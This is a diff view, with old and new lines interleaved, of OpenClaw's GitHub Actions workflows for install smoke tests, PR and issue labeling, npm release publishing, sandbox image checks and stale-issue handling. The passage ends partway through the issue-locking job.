- name: Detect docs-only changes
id: check
uses: ./.github/actions/detect-docs-changes
install-smoke:
runs-on: ubuntu-latest
needs: [docs-scope]
if: needs.docs-scope.outputs.docs_only != 'true'
runs-on: blacksmith-16vcpu-ubuntu-2404
steps:
- name: Checkout CLI
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Setup pnpm (corepack retry)
- name: Set up Docker Builder
uses: docker/setup-buildx-action@v4
# Blacksmith can fall back to the local docker driver, which rejects gha
# cache export/import. Keep smoke builds driver-agnostic.
- name: Build root Dockerfile smoke image
uses: useblacksmith/build-push-action@v2
with:
context: .
file: ./Dockerfile
tags: openclaw-dockerfile-smoke:local
load: true
push: false
provenance: false
- name: Run root Dockerfile CLI smoke
run: |
set -euo pipefail
corepack enable
for attempt in 1 2 3; do
if corepack prepare pnpm@10.23.0 --activate; then
pnpm -v
exit 0
fi
echo "corepack prepare failed (attempt $attempt/3). Retrying..."
sleep $((attempt * 10))
done
exit 1
docker run --rm --entrypoint sh openclaw-dockerfile-smoke:local -lc 'which openclaw && openclaw --version'
- name: Install pnpm deps (minimal)
run: pnpm install --ignore-scripts --frozen-lockfile
# This smoke only validates that the build-arg path preinstalls selected
# extension deps without breaking image build or basic CLI startup. It
# does not exercise runtime loading/registration of diagnostics-otel.
- name: Build extension Dockerfile smoke image
uses: useblacksmith/build-push-action@v2
with:
context: .
file: ./Dockerfile
build-args: |
OPENCLAW_EXTENSIONS=diagnostics-otel
tags: openclaw-ext-smoke:local
load: true
push: false
provenance: false
- name: Smoke test Dockerfile with extension build arg
run: |
docker run --rm --entrypoint sh openclaw-ext-smoke:local -lc 'which openclaw && openclaw --version'
- name: Build installer smoke image
uses: useblacksmith/build-push-action@v2
with:
context: ./scripts/docker
file: ./scripts/docker/install-sh-smoke/Dockerfile
tags: openclaw-install-smoke:local
load: true
push: false
provenance: false
- name: Build installer non-root image
if: github.event_name != 'pull_request'
uses: useblacksmith/build-push-action@v2
with:
context: ./scripts/docker
file: ./scripts/docker/install-sh-nonroot/Dockerfile
tags: openclaw-install-nonroot:local
load: true
push: false
provenance: false
- name: Run installer docker tests
env:
@@ -36,6 +108,8 @@ jobs:
CLAWDBOT_INSTALL_CLI_URL: https://openclaw.ai/install-cli.sh
CLAWDBOT_NO_ONBOARD: "1"
CLAWDBOT_INSTALL_SMOKE_SKIP_CLI: "1"
CLAWDBOT_INSTALL_SMOKE_SKIP_IMAGE_BUILD: "1"
CLAWDBOT_INSTALL_NONROOT_SKIP_IMAGE_BUILD: ${{ github.event_name == 'pull_request' && '0' || '1' }}
CLAWDBOT_INSTALL_SMOKE_SKIP_NONROOT: ${{ github.event_name == 'pull_request' && '1' || '0' }}
CLAWDBOT_INSTALL_SMOKE_SKIP_PREVIOUS: "1"
run: pnpm test:install:smoke
run: bash scripts/test-install-sh-docker.sh

View File

@@ -1,10 +1,23 @@
name: Labeler
on:
pull_request_target:
pull_request_target: # zizmor: ignore[dangerous-triggers] maintainer-owned triage workflow; no untrusted checkout or PR code execution
types: [opened, synchronize, reopened]
issues:
types: [opened]
workflow_dispatch:
inputs:
max_prs:
description: "Maximum number of open PRs to process (0 = all)"
required: false
default: "200"
per_page:
description: "PRs per page (1-100)"
required: false
default: "50"
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: "true"
permissions: {}
@@ -13,68 +26,692 @@ jobs:
permissions:
contents: read
pull-requests: write
runs-on: ubuntu-latest
runs-on: blacksmith-16vcpu-ubuntu-2404
steps:
- uses: actions/create-github-app-token@d72941d797fd3113feb6b93fd0dec494b13a2547 # v1
- uses: actions/create-github-app-token@v2
id: app-token
continue-on-error: true
with:
app-id: "2729701"
private-key: ${{ secrets.GH_APP_PRIVATE_KEY }}
- uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5
- uses: actions/create-github-app-token@v2
id: app-token-fallback
if: steps.app-token.outcome == 'failure'
with:
app-id: "2971289"
private-key: ${{ secrets.GH_APP_PRIVATE_KEY_FALLBACK }}
- uses: actions/labeler@v6
with:
configuration-path: .github/labeler.yml
repo-token: ${{ steps.app-token.outputs.token }}
repo-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }}
sync-labels: true
- name: Apply maintainer label for org members
uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7
- name: Apply PR size label
uses: actions/github-script@v8
with:
github-token: ${{ steps.app-token.outputs.token }}
github-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }}
script: |
const association = context.payload.pull_request?.author_association;
if (!association) {
return;
}
if (![
"MEMBER",
"OWNER",
].includes(association)) {
const pullRequest = context.payload.pull_request;
if (!pullRequest) {
return;
}
await github.rest.issues.addLabels({
...context.repo,
issue_number: context.payload.pull_request.number,
labels: ["maintainer"],
const sizeLabels = ["size: XS", "size: S", "size: M", "size: L", "size: XL"];
const labelColor = "b76e79";
for (const label of sizeLabels) {
try {
await github.rest.issues.getLabel({
owner: context.repo.owner,
repo: context.repo.repo,
name: label,
});
} catch (error) {
if (error?.status !== 404) {
throw error;
}
await github.rest.issues.createLabel({
owner: context.repo.owner,
repo: context.repo.repo,
name: label,
color: labelColor,
});
}
}
const files = await github.paginate(github.rest.pulls.listFiles, {
owner: context.repo.owner,
repo: context.repo.repo,
pull_number: pullRequest.number,
per_page: 100,
});
const excludedLockfiles = new Set(["pnpm-lock.yaml", "package-lock.json", "yarn.lock", "bun.lockb"]);
const totalChangedLines = files.reduce((total, file) => {
const path = file.filename ?? "";
if (path === "docs.acp.md" || path.startsWith("docs/") || excludedLockfiles.has(path)) {
return total;
}
return total + (file.additions ?? 0) + (file.deletions ?? 0);
}, 0);
let targetSizeLabel = "size: XL";
if (totalChangedLines < 50) {
targetSizeLabel = "size: XS";
} else if (totalChangedLines < 200) {
targetSizeLabel = "size: S";
} else if (totalChangedLines < 500) {
targetSizeLabel = "size: M";
} else if (totalChangedLines < 1000) {
targetSizeLabel = "size: L";
}
const currentLabels = await github.paginate(github.rest.issues.listLabelsOnIssue, {
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
per_page: 100,
});
for (const label of currentLabels) {
const name = label.name ?? "";
if (!sizeLabels.includes(name)) {
continue;
}
if (name === targetSizeLabel) {
continue;
}
await github.rest.issues.removeLabel({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
name,
});
}
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
labels: [targetSizeLabel],
});
- name: Apply maintainer or trusted-contributor label
uses: actions/github-script@v8
with:
github-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }}
script: |
const login = context.payload.pull_request?.user?.login;
if (!login) {
return;
}
const repo = `${context.repo.owner}/${context.repo.repo}`;
// const trustedLabel = "trusted-contributor";
// const experiencedLabel = "experienced-contributor";
// const trustedThreshold = 4;
// const experiencedThreshold = 10;
let isMaintainer = false;
try {
const membership = await github.rest.teams.getMembershipForUserInOrg({
org: context.repo.owner,
team_slug: "maintainer",
username: login,
});
isMaintainer = membership?.data?.state === "active";
} catch (error) {
if (error?.status !== 404) {
throw error;
}
}
if (isMaintainer) {
await github.rest.issues.addLabels({
...context.repo,
issue_number: context.payload.pull_request.number,
labels: ["maintainer"],
});
return;
}
// trusted-contributor and experienced-contributor labels disabled.
// const mergedQuery = `repo:${repo} is:pr is:merged author:${login}`;
// let mergedCount = 0;
// try {
// const merged = await github.rest.search.issuesAndPullRequests({
// q: mergedQuery,
// per_page: 1,
// });
// mergedCount = merged?.data?.total_count ?? 0;
// } catch (error) {
// if (error?.status !== 422) {
// throw error;
// }
// core.warning(`Skipping merged search for ${login}; treating as 0.`);
// }
//
// if (mergedCount >= experiencedThreshold) {
// await github.rest.issues.addLabels({
// ...context.repo,
// issue_number: context.payload.pull_request.number,
// labels: [experiencedLabel],
// });
// return;
// }
//
// if (mergedCount >= trustedThreshold) {
// await github.rest.issues.addLabels({
// ...context.repo,
// issue_number: context.payload.pull_request.number,
// labels: [trustedLabel],
// });
// }
- name: Apply too-many-prs label
uses: actions/github-script@v8
with:
github-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }}
script: |
const pullRequest = context.payload.pull_request;
if (!pullRequest) {
return;
}
const activePrLimitLabel = "r: too-many-prs";
const activePrLimitOverrideLabel = "r: too-many-prs-override";
const activePrLimit = 10;
const labelColor = "B60205";
const labelDescription = `Author has more than ${activePrLimit} active PRs in this repo`;
const authorLogin = pullRequest.user?.login;
if (!authorLogin) {
return;
}
const currentLabels = await github.paginate(github.rest.issues.listLabelsOnIssue, {
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
per_page: 100,
});
const labelNames = new Set(
currentLabels
.map((label) => (typeof label === "string" ? label : label?.name))
.filter((name) => typeof name === "string"),
);
if (labelNames.has(activePrLimitOverrideLabel)) {
if (labelNames.has(activePrLimitLabel)) {
try {
await github.rest.issues.removeLabel({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
name: activePrLimitLabel,
});
} catch (error) {
if (error?.status !== 404) {
throw error;
}
}
}
return;
}
const ensureLabelExists = async () => {
try {
await github.rest.issues.getLabel({
owner: context.repo.owner,
repo: context.repo.repo,
name: activePrLimitLabel,
});
} catch (error) {
if (error?.status !== 404) {
throw error;
}
await github.rest.issues.createLabel({
owner: context.repo.owner,
repo: context.repo.repo,
name: activePrLimitLabel,
color: labelColor,
description: labelDescription,
});
}
};
const isPrivilegedAuthor = async () => {
if (pullRequest.author_association === "OWNER") {
return true;
}
let isMaintainer = false;
try {
const membership = await github.rest.teams.getMembershipForUserInOrg({
org: context.repo.owner,
team_slug: "maintainer",
username: authorLogin,
});
isMaintainer = membership?.data?.state === "active";
} catch (error) {
if (error?.status !== 404) {
throw error;
}
}
if (isMaintainer) {
return true;
}
try {
const permission = await github.rest.repos.getCollaboratorPermissionLevel({
owner: context.repo.owner,
repo: context.repo.repo,
username: authorLogin,
});
const roleName = (permission?.data?.role_name ?? "").toLowerCase();
return roleName === "admin" || roleName === "maintain";
} catch (error) {
if (error?.status !== 404) {
throw error;
}
}
return false;
};
if (await isPrivilegedAuthor()) {
if (labelNames.has(activePrLimitLabel)) {
try {
await github.rest.issues.removeLabel({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
name: activePrLimitLabel,
});
} catch (error) {
if (error?.status !== 404) {
throw error;
}
}
}
return;
}
let openPrCount = 0;
try {
const result = await github.rest.search.issuesAndPullRequests({
q: `repo:${context.repo.owner}/${context.repo.repo} is:pr is:open author:${authorLogin}`,
per_page: 1,
});
openPrCount = result?.data?.total_count ?? 0;
} catch (error) {
if (error?.status !== 422) {
throw error;
}
core.warning(`Skipping open PR count for ${authorLogin}; treating as 0.`);
}
if (openPrCount > activePrLimit) {
await ensureLabelExists();
if (!labelNames.has(activePrLimitLabel)) {
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
labels: [activePrLimitLabel],
});
}
return;
}
if (labelNames.has(activePrLimitLabel)) {
try {
await github.rest.issues.removeLabel({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
name: activePrLimitLabel,
});
} catch (error) {
if (error?.status !== 404) {
throw error;
}
}
}
backfill-pr-labels:
if: github.event_name == 'workflow_dispatch'
permissions:
contents: read
pull-requests: write
runs-on: blacksmith-16vcpu-ubuntu-2404
steps:
- uses: actions/create-github-app-token@v2
id: app-token
continue-on-error: true
with:
app-id: "2729701"
private-key: ${{ secrets.GH_APP_PRIVATE_KEY }}
- uses: actions/create-github-app-token@v2
id: app-token-fallback
if: steps.app-token.outcome == 'failure'
with:
app-id: "2971289"
private-key: ${{ secrets.GH_APP_PRIVATE_KEY_FALLBACK }}
- name: Backfill PR labels
uses: actions/github-script@v8
with:
github-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }}
script: |
const owner = context.repo.owner;
const repo = context.repo.repo;
const repoFull = `${owner}/${repo}`;
const inputs = context.payload.inputs ?? {};
const maxPrsInput = inputs.max_prs ?? "200";
const perPageInput = inputs.per_page ?? "50";
const parsedMaxPrs = Number.parseInt(maxPrsInput, 10);
const parsedPerPage = Number.parseInt(perPageInput, 10);
const maxPrs = Number.isFinite(parsedMaxPrs) ? parsedMaxPrs : 200;
const perPage = Number.isFinite(parsedPerPage) ? Math.min(100, Math.max(1, parsedPerPage)) : 50;
const processAll = maxPrs <= 0;
const maxCount = processAll ? Number.POSITIVE_INFINITY : Math.max(1, maxPrs);
const sizeLabels = ["size: XS", "size: S", "size: M", "size: L", "size: XL"];
const labelColor = "b76e79";
// const trustedLabel = "trusted-contributor";
// const experiencedLabel = "experienced-contributor";
// const trustedThreshold = 4;
// const experiencedThreshold = 10;
const contributorCache = new Map();
async function ensureSizeLabels() {
for (const label of sizeLabels) {
try {
await github.rest.issues.getLabel({
owner,
repo,
name: label,
});
} catch (error) {
if (error?.status !== 404) {
throw error;
}
await github.rest.issues.createLabel({
owner,
repo,
name: label,
color: labelColor,
});
}
}
}
async function resolveContributorLabel(login) {
if (contributorCache.has(login)) {
return contributorCache.get(login);
}
let isMaintainer = false;
try {
const membership = await github.rest.teams.getMembershipForUserInOrg({
org: owner,
team_slug: "maintainer",
username: login,
});
isMaintainer = membership?.data?.state === "active";
} catch (error) {
if (error?.status !== 404) {
throw error;
}
}
if (isMaintainer) {
contributorCache.set(login, "maintainer");
return "maintainer";
}
// trusted-contributor and experienced-contributor labels disabled.
// const mergedQuery = `repo:${repoFull} is:pr is:merged author:${login}`;
// let mergedCount = 0;
// try {
// const merged = await github.rest.search.issuesAndPullRequests({
// q: mergedQuery,
// per_page: 1,
// });
// mergedCount = merged?.data?.total_count ?? 0;
// } catch (error) {
// if (error?.status !== 422) {
// throw error;
// }
// core.warning(`Skipping merged search for ${login}; treating as 0.`);
// }
const label = null;
// if (mergedCount >= experiencedThreshold) {
// label = experiencedLabel;
// } else if (mergedCount >= trustedThreshold) {
// label = trustedLabel;
// }
contributorCache.set(login, label);
return label;
}
async function applySizeLabel(pullRequest, currentLabels, labelNames) {
const files = await github.paginate(github.rest.pulls.listFiles, {
owner,
repo,
pull_number: pullRequest.number,
per_page: 100,
});
const excludedLockfiles = new Set(["pnpm-lock.yaml", "package-lock.json", "yarn.lock", "bun.lockb"]);
const totalChangedLines = files.reduce((total, file) => {
const path = file.filename ?? "";
if (path === "docs.acp.md" || path.startsWith("docs/") || excludedLockfiles.has(path)) {
return total;
}
return total + (file.additions ?? 0) + (file.deletions ?? 0);
}, 0);
let targetSizeLabel = "size: XL";
if (totalChangedLines < 50) {
targetSizeLabel = "size: XS";
} else if (totalChangedLines < 200) {
targetSizeLabel = "size: S";
} else if (totalChangedLines < 500) {
targetSizeLabel = "size: M";
} else if (totalChangedLines < 1000) {
targetSizeLabel = "size: L";
}
for (const label of currentLabels) {
const name = label.name ?? "";
if (!sizeLabels.includes(name)) {
continue;
}
if (name === targetSizeLabel) {
continue;
}
await github.rest.issues.removeLabel({
owner,
repo,
issue_number: pullRequest.number,
name,
});
labelNames.delete(name);
}
if (!labelNames.has(targetSizeLabel)) {
await github.rest.issues.addLabels({
owner,
repo,
issue_number: pullRequest.number,
labels: [targetSizeLabel],
});
labelNames.add(targetSizeLabel);
}
}
async function applyContributorLabel(pullRequest, labelNames) {
const login = pullRequest.user?.login;
if (!login) {
return;
}
const label = await resolveContributorLabel(login);
if (!label) {
return;
}
if (labelNames.has(label)) {
return;
}
await github.rest.issues.addLabels({
owner,
repo,
issue_number: pullRequest.number,
labels: [label],
});
labelNames.add(label);
}
await ensureSizeLabels();
let page = 1;
let processed = 0;
while (processed < maxCount) {
const remaining = maxCount - processed;
const pageSize = processAll ? perPage : Math.min(perPage, remaining);
const { data: pullRequests } = await github.rest.pulls.list({
owner,
repo,
state: "open",
per_page: pageSize,
page,
});
if (pullRequests.length === 0) {
break;
}
for (const pullRequest of pullRequests) {
if (!processAll && processed >= maxCount) {
break;
}
const currentLabels = await github.paginate(github.rest.issues.listLabelsOnIssue, {
owner,
repo,
issue_number: pullRequest.number,
per_page: 100,
});
const labelNames = new Set(
currentLabels.map((label) => label.name).filter((name) => typeof name === "string"),
);
await applySizeLabel(pullRequest, currentLabels, labelNames);
await applyContributorLabel(pullRequest, labelNames);
processed += 1;
}
if (pullRequests.length < pageSize) {
break;
}
page += 1;
}
core.info(`Processed ${processed} pull requests.`);
label-issues:
permissions:
issues: write
runs-on: ubuntu-latest
runs-on: blacksmith-16vcpu-ubuntu-2404
steps:
- uses: actions/create-github-app-token@d72941d797fd3113feb6b93fd0dec494b13a2547 # v1
- uses: actions/create-github-app-token@v2
id: app-token
continue-on-error: true
with:
app-id: "2729701"
private-key: ${{ secrets.GH_APP_PRIVATE_KEY }}
- name: Apply maintainer label for org members
uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7
- uses: actions/create-github-app-token@v2
id: app-token-fallback
if: steps.app-token.outcome == 'failure'
with:
github-token: ${{ steps.app-token.outputs.token }}
app-id: "2971289"
private-key: ${{ secrets.GH_APP_PRIVATE_KEY_FALLBACK }}
- name: Apply maintainer or trusted-contributor label
uses: actions/github-script@v8
with:
github-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }}
script: |
const association = context.payload.issue?.author_association;
if (!association) {
return;
}
if (![
"MEMBER",
"OWNER",
].includes(association)) {
const login = context.payload.issue?.user?.login;
if (!login) {
return;
}
await github.rest.issues.addLabels({
...context.repo,
issue_number: context.payload.issue.number,
labels: ["maintainer"],
});
const repo = `${context.repo.owner}/${context.repo.repo}`;
// const trustedLabel = "trusted-contributor";
// const experiencedLabel = "experienced-contributor";
// const trustedThreshold = 4;
// const experiencedThreshold = 10;
let isMaintainer = false;
try {
const membership = await github.rest.teams.getMembershipForUserInOrg({
org: context.repo.owner,
team_slug: "maintainer",
username: login,
});
isMaintainer = membership?.data?.state === "active";
} catch (error) {
if (error?.status !== 404) {
throw error;
}
}
if (isMaintainer) {
await github.rest.issues.addLabels({
...context.repo,
issue_number: context.payload.issue.number,
labels: ["maintainer"],
});
return;
}
// trusted-contributor and experienced-contributor labels disabled.
// const mergedQuery = `repo:${repo} is:pr is:merged author:${login}`;
// let mergedCount = 0;
// try {
// const merged = await github.rest.search.issuesAndPullRequests({
// q: mergedQuery,
// per_page: 1,
// });
// mergedCount = merged?.data?.total_count ?? 0;
// } catch (error) {
// if (error?.status !== 422) {
// throw error;
// }
// core.warning(`Skipping merged search for ${login}; treating as 0.`);
// }
//
// if (mergedCount >= experiencedThreshold) {
// await github.rest.issues.addLabels({
// ...context.repo,
// issue_number: context.payload.issue.number,
// labels: [experiencedLabel],
// });
// return;
// }
//
// if (mergedCount >= trustedThreshold) {
// await github.rest.issues.addLabels({
// ...context.repo,
// issue_number: context.payload.issue.number,
// labels: [trustedLabel],
// });
// }

View File

@@ -0,0 +1,195 @@
name: OpenClaw NPM Release
on:
push:
tags:
- "v*"
workflow_dispatch:
inputs:
tag:
description: Release tag to publish (for example v2026.3.14, v2026.3.14-beta.1, or fallback v2026.3.14-1)
required: true
type: string
concurrency:
group: openclaw-npm-release-${{ github.event_name == 'workflow_dispatch' && inputs.tag || github.ref }}
cancel-in-progress: false
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: "true"
NODE_VERSION: "24.x"
PNPM_VERSION: "10.23.0"
jobs:
preview_openclaw_npm:
if: github.event_name == 'push'
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- name: Checkout
uses: actions/checkout@v6
with:
fetch-depth: 0
- name: Setup Node environment
uses: ./.github/actions/setup-node-env
with:
node-version: ${{ env.NODE_VERSION }}
pnpm-version: ${{ env.PNPM_VERSION }}
install-bun: "false"
use-sticky-disk: "false"
- name: Print release plan
env:
RELEASE_TAG: ${{ github.ref_name }}
run: |
set -euo pipefail
RELEASE_SHA=$(git rev-parse HEAD)
PACKAGE_VERSION=$(node -p "require('./package.json').version")
if [[ "${RELEASE_TAG}" =~ ^v[0-9]{4}\.[1-9][0-9]*\.[1-9][0-9]*-[1-9][0-9]*$ ]]; then
TAG_KIND="fallback correction"
else
TAG_KIND="standard"
fi
echo "Release plan for ${RELEASE_TAG}:"
echo "Resolved release SHA: ${RELEASE_SHA}"
echo "Resolved package version: ${PACKAGE_VERSION}"
echo "Resolved tag kind: ${TAG_KIND}"
if [[ "${TAG_KIND}" == "fallback correction" ]]; then
echo "Correction tag note: npm version remains ${PACKAGE_VERSION}"
fi
echo "Would run: git fetch --no-tags origin +refs/heads/main:refs/remotes/origin/main"
echo "Would run with env: RELEASE_SHA=${RELEASE_SHA} RELEASE_TAG=${RELEASE_TAG} RELEASE_MAIN_REF=origin/main pnpm release:openclaw:npm:check"
echo "Would run: npm view openclaw@${PACKAGE_VERSION} version"
echo "Would run: pnpm check"
echo "Would run: pnpm build"
echo "Would run: pnpm release:check"
- name: Validate release tag and package metadata
env:
RELEASE_TAG: ${{ github.ref_name }}
RELEASE_MAIN_REF: origin/main
run: |
set -euxo pipefail
RELEASE_SHA=$(git rev-parse HEAD)
export RELEASE_SHA RELEASE_TAG RELEASE_MAIN_REF
# Fetch the full main ref so merge-base ancestry checks keep working
# for older tagged commits that are still contained in main.
git fetch --no-tags origin +refs/heads/main:refs/remotes/origin/main
pnpm release:openclaw:npm:check
- name: Ensure version is not already published
env:
RELEASE_TAG: ${{ github.ref_name }}
run: |
set -euxo pipefail
PACKAGE_VERSION=$(node -p "require('./package.json').version")
IS_CORRECTION_TAG=0
if [[ "${RELEASE_TAG}" =~ ^v[0-9]{4}\.[1-9][0-9]*\.[1-9][0-9]*-[1-9][0-9]*$ ]]; then
IS_CORRECTION_TAG=1
fi
if npm view "openclaw@${PACKAGE_VERSION}" version >/dev/null 2>&1; then
if [[ "${IS_CORRECTION_TAG}" == "1" ]]; then
echo "openclaw@${PACKAGE_VERSION} is already published on npm."
echo "Correction tag ${RELEASE_TAG} is allowed as a fallback release tag, so preview will continue without treating this as an error."
exit 0
fi
echo "openclaw@${PACKAGE_VERSION} is already published on npm."
exit 1
fi
if [[ "${IS_CORRECTION_TAG}" == "1" ]]; then
echo "Previewing fallback correction tag ${RELEASE_TAG} for npm version openclaw@${PACKAGE_VERSION}"
else
echo "Previewing openclaw@${PACKAGE_VERSION}"
fi
- name: Check
run: |
set -euxo pipefail
pnpm check
- name: Build
run: |
set -euxo pipefail
pnpm build
- name: Verify release contents
run: |
set -euxo pipefail
pnpm release:check
- name: Preview publish command
run: bash scripts/openclaw-npm-publish.sh --dry-run
publish_openclaw_npm:
if: github.event_name == 'workflow_dispatch'
# npm trusted publishing + provenance requires a GitHub-hosted runner.
runs-on: ubuntu-latest
environment: npm-release
permissions:
contents: read
id-token: write
steps:
- name: Validate tag input format
env:
RELEASE_TAG: ${{ inputs.tag }}
run: |
set -euo pipefail
if [[ ! "${RELEASE_TAG}" =~ ^v[0-9]{4}\.[1-9][0-9]*\.[1-9][0-9]*((-beta\.[1-9][0-9]*)|(-[1-9][0-9]*))?$ ]]; then
echo "Invalid release tag format: ${RELEASE_TAG}"
exit 1
fi
- name: Checkout
uses: actions/checkout@v6
with:
ref: refs/tags/${{ inputs.tag }}
fetch-depth: 0
- name: Setup Node environment
uses: ./.github/actions/setup-node-env
with:
node-version: ${{ env.NODE_VERSION }}
pnpm-version: ${{ env.PNPM_VERSION }}
install-bun: "false"
use-sticky-disk: "false"
- name: Validate release tag and package metadata
env:
RELEASE_TAG: ${{ inputs.tag }}
RELEASE_MAIN_REF: origin/main
run: |
set -euo pipefail
RELEASE_SHA=$(git rev-parse HEAD)
export RELEASE_SHA RELEASE_TAG RELEASE_MAIN_REF
# Fetch the full main ref so merge-base ancestry checks keep working
# for older tagged commits that are still contained in main.
git fetch --no-tags origin +refs/heads/main:refs/remotes/origin/main
pnpm release:openclaw:npm:check
- name: Ensure version is not already published
run: |
set -euo pipefail
PACKAGE_VERSION=$(node -p "require('./package.json').version")
if npm view "openclaw@${PACKAGE_VERSION}" version >/dev/null 2>&1; then
echo "openclaw@${PACKAGE_VERSION} is already published on npm."
exit 1
fi
echo "Publishing openclaw@${PACKAGE_VERSION}"
- name: Check
run: pnpm check
- name: Build
run: pnpm build
- name: Verify release contents
run: pnpm release:check
- name: Publish
run: bash scripts/openclaw-npm-publish.sh --publish

View File

@@ -0,0 +1,62 @@
name: Sandbox Common Smoke
on:
push:
branches: [main]
paths:
- Dockerfile.sandbox
- Dockerfile.sandbox-common
- scripts/sandbox-common-setup.sh
pull_request:
paths:
- Dockerfile.sandbox
- Dockerfile.sandbox-common
- scripts/sandbox-common-setup.sh
concurrency:
group: sandbox-common-smoke-${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: "true"
jobs:
sandbox-common-smoke:
runs-on: blacksmith-16vcpu-ubuntu-2404
steps:
- name: Checkout
uses: actions/checkout@v6
with:
submodules: false
- name: Set up Docker Builder
uses: docker/setup-buildx-action@v4
- name: Build minimal sandbox base (USER sandbox)
shell: bash
run: |
set -euo pipefail
docker build -t openclaw-sandbox-smoke-base:bookworm-slim - <<'EOF'
FROM debian:bookworm-slim
RUN useradd --create-home --shell /bin/bash sandbox
USER sandbox
WORKDIR /home/sandbox
EOF
- name: Build sandbox-common image (root for installs, sandbox at runtime)
shell: bash
run: |
set -euo pipefail
BASE_IMAGE="openclaw-sandbox-smoke-base:bookworm-slim" \
TARGET_IMAGE="openclaw-sandbox-common-smoke:bookworm-slim" \
PACKAGES="ca-certificates" \
INSTALL_PNPM=0 \
INSTALL_BUN=0 \
INSTALL_BREW=0 \
FINAL_USER=sandbox \
scripts/sandbox-common-setup.sh
u="$(docker run --rm openclaw-sandbox-common-smoke:bookworm-slim sh -lc 'id -un')"
test "$u" = "sandbox"

217
.github/workflows/stale.yml vendored Normal file
View File

@@ -0,0 +1,217 @@
name: Stale
on:
schedule:
- cron: "17 3 * * *"
workflow_dispatch:
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: "true"
permissions: {}
jobs:
stale:
permissions:
issues: write
pull-requests: write
runs-on: blacksmith-16vcpu-ubuntu-2404
steps:
- uses: actions/create-github-app-token@v2
id: app-token
continue-on-error: true
with:
app-id: "2729701"
private-key: ${{ secrets.GH_APP_PRIVATE_KEY }}
- uses: actions/create-github-app-token@v2
id: app-token-fallback
continue-on-error: true
with:
app-id: "2971289"
private-key: ${{ secrets.GH_APP_PRIVATE_KEY_FALLBACK }}
- name: Mark stale issues and pull requests (primary)
id: stale-primary
continue-on-error: true
uses: actions/stale@v10
with:
repo-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }}
days-before-issue-stale: 7
days-before-issue-close: 5
days-before-pr-stale: 5
days-before-pr-close: 3
stale-issue-label: stale
stale-pr-label: stale
exempt-issue-labels: enhancement,maintainer,pinned,security,no-stale
exempt-pr-labels: maintainer,no-stale
operations-per-run: 2000
ascending: true
exempt-all-assignees: true
remove-stale-when-updated: true
stale-issue-message: |
This issue has been automatically marked as stale due to inactivity.
Please add updates or it will be closed.
stale-pr-message: |
This pull request has been automatically marked as stale due to inactivity.
Please add updates or it will be closed.
close-issue-message: |
Closing due to inactivity.
If this is still an issue, please retry on the latest OpenClaw release and share updated details.
If you are absolutely sure it still happens on the latest release, open a new issue with fresh repro steps.
close-issue-reason: not_planned
close-pr-message: |
Closing due to inactivity.
If you believe this PR should be revived, post in #pr-thunderdome-dangerzone on Discord to talk to a maintainer.
That channel is the escape hatch for high-quality PRs that get auto-closed.
- name: Check stale state cache
id: stale-state
if: always()
uses: actions/github-script@v8
with:
github-token: ${{ steps.app-token-fallback.outputs.token || steps.app-token.outputs.token }}
script: |
const cacheKey = "_state";
const { owner, repo } = context.repo;
try {
const { data } = await github.rest.actions.getActionsCacheList({
owner,
repo,
key: cacheKey,
});
const caches = data.actions_caches ?? [];
const hasState = caches.some(cache => cache.key === cacheKey);
core.setOutput("has_state", hasState ? "true" : "false");
} catch (error) {
const message = error instanceof Error ? error.message : String(error);
core.warning(`Failed to check stale state cache: ${message}`);
core.setOutput("has_state", "false");
}
- name: Mark stale issues and pull requests (fallback)
if: (steps.stale-primary.outcome == 'failure' || steps.stale-state.outputs.has_state == 'true') && steps.app-token-fallback.outputs.token != ''
uses: actions/stale@v10
with:
repo-token: ${{ steps.app-token-fallback.outputs.token }}
days-before-issue-stale: 7
days-before-issue-close: 5
days-before-pr-stale: 5
days-before-pr-close: 3
stale-issue-label: stale
stale-pr-label: stale
exempt-issue-labels: enhancement,maintainer,pinned,security,no-stale
exempt-pr-labels: maintainer,no-stale
operations-per-run: 2000
ascending: true
exempt-all-assignees: true
remove-stale-when-updated: true
stale-issue-message: |
This issue has been automatically marked as stale due to inactivity.
Please add updates or it will be closed.
stale-pr-message: |
This pull request has been automatically marked as stale due to inactivity.
Please add updates or it will be closed.
close-issue-message: |
Closing due to inactivity.
If this is still an issue, please retry on the latest OpenClaw release and share updated details.
If you are absolutely sure it still happens on the latest release, open a new issue with fresh repro steps.
close-issue-reason: not_planned
close-pr-message: |
Closing due to inactivity.
If you believe this PR should be revived, post in #pr-thunderdome-dangerzone on Discord to talk to a maintainer.
That channel is the escape hatch for high-quality PRs that get auto-closed.
lock-closed-issues:
permissions:
issues: write
runs-on: blacksmith-16vcpu-ubuntu-2404
steps:
- uses: actions/create-github-app-token@v2
id: app-token
with:
app-id: "2729701"
private-key: ${{ secrets.GH_APP_PRIVATE_KEY }}
- name: Lock closed issues after 48h of no comments
uses: actions/github-script@v8
